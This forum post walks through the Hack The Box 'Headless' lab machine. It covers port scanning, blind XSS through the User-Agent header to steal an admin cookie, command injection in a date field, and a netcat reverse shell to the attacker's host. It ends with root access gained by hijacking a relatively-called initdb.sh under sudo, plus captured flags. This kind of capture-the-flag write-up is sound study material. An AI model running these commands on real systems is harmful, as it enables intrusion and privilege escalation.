Headless靶机条记

打印 上一主题 下一主题

主题 895|帖子 895|积分 2685

Headless靶机

靶机概述

Headless 是一款简单易难的 Linux 机器,具有python实现的托管网站的服务器。基本思路:

  • 通过端口探测到web页面,有一个表单。
  • 利用忙注XSS,获得管理员Cookie,进而获得立足点。
  • 利用邮件信息进行提权到root权限
Headless靶机地址
1、nmap端口探测

1)测试kali与HTB连通性

a)kali连接网卡
  1. ip a
复制代码
  1. tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
  2.     link/none
  3.     inet 10.10.14.50/23 scope global tun0
  4.        valid_lft forever preferred_lft forever
  5.     inet6 dead:beef:2::1030/64 scope global
  6.        valid_lft forever preferred_lft forever
  7.     inet6 fe80::5fd0:9e3a:8065:d66a/64 scope link stable-privacy
  8.        valid_lft forever preferred_lft forever
复制代码
与HTB连接的网卡10.10.14.50
b)HTB靶机地址


c) ping 测试
  1. ping 10.10.11.8
  2. PING 10.10.11.8 (10.10.11.8) 56(84) bytes of data.
  3. 64 bytes from 10.10.11.8: icmp_seq=1 ttl=63 time=330 ms
  4. 64 bytes from 10.10.11.8: icmp_seq=2 ttl=63 time=328 ms
复制代码
2) nmap扫描

a) 端口发现
  1. # 以最低10000速率,以tcp扫面全端口 结果输出到ports文件中
  2. nmap -sT -p- --min-rate 10000 10.10.11.8 -o ports
  3. Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-27 22:32 EDT
  4. Warning: 10.10.11.8 giving up on port because retransmission cap hit (10).
  5. Nmap scan report for 10.10.11.8
  6. Host is up (0.33s latency).
  7. Not shown: 65178 closed tcp ports (conn-refused), 355 filtered tcp ports (no-response)
  8. PORT     STATE SERVICE
  9. 22/tcp   open  ssh
  10. 5000/tcp open  upnp
  11. Nmap done: 1 IP address (1 host up) scanned in 54.36 seconds
复制代码
b) 端口详细信息
  1. # 以tcp连接,输出详细信息,以默认脚本 扫描22,5000端口,结果输出到details文件中
  2. nmap -sT -sV -sC -p22,5000 10.10.11.8 -o details  
  3. PORT     STATE SERVICE VERSION
  4. 22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
  5. | ssh-hostkey:
  6. |   256 900294283dab2274df0ea3b20f2bc617 (ECDSA)
  7. |_  256 2eb90824021b609460b384a99e1a60ca (ED25519)
  8. 5000/tcp open  upnp?
  9. | fingerprint-strings:
  10. |   GetRequest:
  11. |     HTTP/1.1 200 OK
  12. |     Server: Werkzeug/2.2.2 Python/3.11.2
  13. |     Date: Sun, 28 Jul 2024 02:48:15 GMT
  14. |     Content-Type: text/html; charset=utf-8
  15. |     Content-Length: 2799
  16. |     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
  17. |     Connection: close
复制代码
可以看到5000端口像是一个web服务,22号端口就是常规的ssh服务
2、web渗出

1)访问5000端口

发现有一个For questions的按钮,我们点击进去,看到一个表单,尝试XSS注入
点击提交
上面显示
Your IP address has been flagged, a report with your browser information has been sent to the administrators for investigation.
你的IP地址已经被标记,你的欣赏器信息的陈诉已经被发送给管理员去调查了。
下边就是陈诉的信息,可以看到有头部的信息,可以尝试头部XSS注入
2)获取管理员cookie

a) 尝试注入点

我们打开burpsuite拦截提交表单的请求
<img alt="image-20240728115348013" >
我们修改UA头信息,进行XSS注入
插入
  1. [/code] [align=center][img]https://img2024.cnblogs.com/blog/2769156/202408/2769156-20240808200508406-748841453.png[/img][/align] [align=center][img]https://img2024.cnblogs.com/blog/2769156/202408/2769156-20240808200508705-655141021.png[/img][/align]成功弹窗
  2. [size=1]b) 获取管理员cookie[/size]
  3. [list=1]
  4. [*]打开本地的服务,捕获http请求
  5. [/list][code]# python开启http监听5000端口
  6. python -m http.server 5000
复制代码

  • UA头插入
  1. GET请求本地的python服务cookie以参数传输base64加密后的字符串
复制代码
出现了一点小bug,
ping 10.10.11.8
PING 10.10.11.8 (10.10.11.8) 56(84) bytes of data.
From 10.10.14.1 icmp_seq=1 Destination Host Unreachable
From 10.10.14.1 icmp_seq=2 Destination Host Unreachable
From 10.10.14.1 icmp_seq=3 Destination Host Unreachable
换了一个vpn节点  我的主机ip换成了 10.10.14.54
3.发送观察本地的python服务

看到cookie的base64外带出来了
开始base64解码
  1. echo "aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=" | base64 -d
  2. # 结果
  3. is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
复制代码
看着is_admin字段也是base64加密的,解码看看
  1. echo "ImFkbWluIg" | base64 -d
  2. "admin"base64: 无效的输入
  3. # 这里无效输入,是base编码字符的长度必须是4的倍数,否则用‘=’补齐
  4. echo "ImFkbWluIg==" | base64 -d
  5. "admin"
复制代码
可以看到就是admin,我们有了admin的cookie,看看有没有什么其他可以访问的网站
3)管理界面路径寻找

a) 路径爆破
  1. gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.11.8:5000
  2. #出来的路径
  3. /support              (Status: 200) [Size: 2363]
  4. /dashboard            (Status: 500) [Size: 265]
复制代码
b) 访问dashboard


unauthorized我们可以更换我们欣赏器的cookie值,达到访问的目的

刷新可以看到
看它是Select Date框里是日期,会不会是date命令天生的呢。点击 Generate Report看看会发生什么

下面说Systems are up and running!
用burp抓包分析一下

c) 尝试命令注入

传了一个date参数,我们尝试命令注入 ;id看可不可以

看到输出了id的命令值

3、反弹shell,获得立足点

1)本地监听
  1. nc -lnvp 4444
复制代码
2) 命令注入

反弹shell
  1. nc -e /bin/bash 10.10.14.54 4444
复制代码


成功反弹shell,获得立足点
  1. # 获得一个更美观的shell,并让日志不记录我们的操做
  2. script /dev/null -c /bin/bash
复制代码

3) 获得user flag

在本用户的家目次,找到flag
  1. dvir@headless:~$ cd /home/dvir
  2. cd /home/dvir
  3. dvir@headless:~$ cat user.txt
  4. cat user.txt
  5. c62add3a4cecb6ace7242e40305e9ed2
复制代码
4、提权到root

1)发现邮件体系

通过枚举目标体系,发现目标有邮件
  1. cd /var/mail
  2. cat dvir
  3. Subject: Important Update: New System Check Script
  4. Hello!
  5. We have an important update regarding our server. In response to recent compatibility and crashing issues, we've introduced a new system check script.
  6. What's special for you?
  7. - You've been granted special privileges to use this script.
  8. - It will help identify and resolve system issues more efficiently.
  9. - It ensures that necessary updates are applied when needed.
  10. Rest assured, this script is at your disposal and won't affect your regular use of the system.
  11. If you have any questions or notice anything unusual, please don't hesitate to reach out to us. We're here to assist you with any concerns.
  12. By the way, we're still waiting on you to create the database initialization script!
  13. Best regards,
  14. Headless
复制代码
意思就是说:为了应对最近的兼容性和崩溃问题,我们引入了一个新的体系查抄脚本。
这个脚本应该就是我们提权的关键
  1. # 运行 sudo -l 可以看到检查文件的路径
  2. sudo -l
  3. Matching Defaults entries for dvir on headless:
  4.     env_reset, mail_badpass,
  5.     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
  6.     use_pty
  7. User dvir may run the following commands on headless:
  8.     (ALL) NOPASSWD: /usr/bin/syscheck
复制代码
  1. #查看一下脚本
  2. cat /sur/bin/syscheck
  3. #!/bin/bash
  4. if [ "$EUID" -ne 0 ]; then
  5.   exit 1
  6. fi
  7. last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
  8. formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
  9. /usr/bin/echo "Last Kernel Modification Time: $formatted_time"
  10. disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
  11. /usr/bin/echo "Available disk space: $disk_space"
  12. load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
  13. /usr/bin/echo "System load average: $load_average"
  14. if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  15.   /usr/bin/echo "Database service is not running. Starting it..."
  16.   ./initdb.sh 2>/dev/null
  17. else
  18.   /usr/bin/echo "Database service is running."
  19. fi
  20. exit 0
复制代码
2)分析脚本文件

我们可以看到以上脚本,执行了多项体系的查抄与维护任务。
首先,它验证是否以特权运行,如果没有则退出。
  1. if [ "$EUID" -ne 0 ]; then
  2.   exit 1
  3. fi
复制代码
然后,辨认并格式化显示内核vmlinuz*的末了修改时间。
  1. last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
  2. formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
  3. /usr/bin/echo "Last Kernel Modification Time: $formatted_time"
复制代码
之后,它检索并显示根文件体系上的可用磁盘空间。
  1. disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
  2. /usr/bin/echo "Available disk space: $disk_space"
复制代码
该脚本还陈诉体系的平均负载。此外,它还会查抄名为  initdb.sh 的数据库服务是否正在运行;如果没有,它会岑寂地启动它
  1. load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
  2. /usr/bin/echo "System load average: $load_average"
  3. if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  4.   /usr/bin/echo "Database service is not running. Starting it..."
  5.   ./initdb.sh 2>/dev/null
  6. else
  7.   /usr/bin/echo "Database service is running."
  8. fi
复制代码
基于initdb.sh没有运行会被这个查抄体系的脚本syscheck岑寂以特权执行
我们是不是可以像dll劫持、环境变量劫持那样,让他去加载我们自己写的initdb.sh呢
3)initdb.sh劫持提权
  1. # 由于我们在tmp目录下具有写权限,先在tmp目录下创建initdb.sh
  2. echo "/bin/bash" > /tmp/initdb.sh
  3. # 赋予执行权限
  4. chmod +x /tmp/initdb.sh
复制代码
执行sudo syscheck
  1. dvir@headless:/tmp$ sudo syscheck
  2. sudo syscheck
  3. Last Kernel Modification Time: 01/02/2024 10:05
  4. Available disk space: 2.0G
  5. System load average:  0.00, 0.00, 0.00
  6. Database service is not running. Starting it...
  7. id
  8. id
  9. uid=0(root) gid=0(root) groups=0(root)
复制代码
拿到root flag
  1. cat /root/root.txt
  2. 1d3462b03683fc35bcd908637e7dc4a7
复制代码
总结


  • 先用nmap扫描,发现目标机器开放了22,5000端口。
  • 访问5000端口,发现是一个web服务,并且有一个表单,尝试存储型XSS攻击,获得管理员cookie信息
  • 利用管理员cookie信息,结合目次爆破出来的/bashboard路径,发现了一处命令注入的RCE漏洞,成功获得立足点
  • 通过枚举得到此用户有mail邮件,打开邮件说有一个体系查抄脚本syscheck,通过分析脚本知道脚本会去以root权限运行initdb.sh服务
  • 通过劫持initdb.sh成功获得root权限

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

玛卡巴卡的卡巴卡玛

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表